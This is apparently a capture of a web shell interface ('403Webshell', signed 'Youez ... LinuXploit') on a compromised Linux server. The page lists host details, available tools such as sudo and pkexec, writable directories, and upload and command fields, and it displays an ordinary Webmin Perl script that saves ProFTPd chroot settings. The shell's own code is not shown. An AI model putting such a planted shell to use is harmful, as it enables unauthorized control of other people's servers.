403Webshell
Server IP : 172.67.134.114  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/webmin/virtual-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/webmin/virtual-server/save_newchroot.cgi
#!/usr/bin/perl
# Save the list of ProFTPd chroot directories

require './virtual-server-lib.pl';
&can_edit_templates() || &error($text{'chroot_ecannot'});
&has_ftp_chroot() || &error($text{'chroot_esupport'});
&error_setup($text{'chroot_err'});
&ReadParse();
&licence_status();

# Validate and store inputs
@chroots = ( );
for($i=0; defined($in{"all_$i"}); $i++) {
	next if (!$in{"enabled_$i"});
	$chroot = { };
	if (!$in{"all_$i"}) {
		$chroot->{'group'} = $in{"group_$i"};
		$chroot->{'neg'} = $in{"neg_$i"};
		}
	if ($in{"mode_$i"} == 2) {
		$chroot->{'dir'} = '/';
		}
	elsif ($in{"mode_$i"} == 1) {
		$chroot->{'dir'} = '~';
		}
	elsif ($in{"mode_$i"} == 3) {
		# A domain's home directory
		$chroot->{'group'} || &error(&text('chroot_egroup', $i+1));
		$chroot->{'neg'} && &error(&text('chroot_eneg', $i+1));
		$d = &get_domain_by("group", $chroot->{'group'}, "parent", "");
		$d || &error(&text('chroot_edom', $chroot->{'group'}));
		$chroot->{'dir'} = $d->{'home'};
		}
	elsif ($in{"mode_$i"} == 0) {
		# Other directory
		-d $in{"dir_$i"} ||
		    $in{"dir_$i"} =~ /^\~\/\S+$/ ||
			&error(&text('chroot_edir', $i+1));
		$chroot->{'dir'} =  $in{"dir_$i"};
		}
	push(@chroots, $chroot);
	}

# Really save, and tell the user what is being done
&ui_print_unbuffered_header(undef, $text{'newchroot_title'}, "");

&obtain_lock_ftp();
&$first_print($text{'chroot_saving'});
&save_ftp_chroots(\@chroots);
&$second_print($text{'setup_done'});
&release_lock_ftp();

&run_post_actions();
&webmin_log("chroot");

&ui_print_footer("", $text{'index_return'});

Youez - 2016 - github.com/yon3zu
LinuXploit